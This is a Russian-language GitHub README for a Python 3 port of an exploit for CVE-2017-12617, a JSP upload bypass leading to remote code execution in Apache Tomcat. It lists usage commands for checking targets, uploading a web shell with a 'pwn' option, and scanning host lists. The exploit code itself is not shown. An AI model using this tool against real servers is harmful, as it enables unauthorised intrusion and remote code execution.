tyranteye666/tomcat-cve-2017-12617Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - Обход загрузки JSP / Удаленное выполнение кода для Python3
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - Обход загрузки JSP / Удаленное выполнение кода для Python3
Я всего лишь внес несколько изменений в оригинальный скрипт, чтобы он был совместим с Python 3!
Если возникнут какие-либо проблемы или вопросы, смело пишите мне на почту [email protected] или тоже можете стучаться, если хотите.
Не судите мой email, он используется как одноразовый
./cve-2017-12617.py [options]
опции:
-u ,--url [::] проверить целевой URL на уязвимость
-p,--pwn [::] сгенерировать веб-шелл и загрузить его
-l,--list [::] список хостов
[+]использование:
./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt
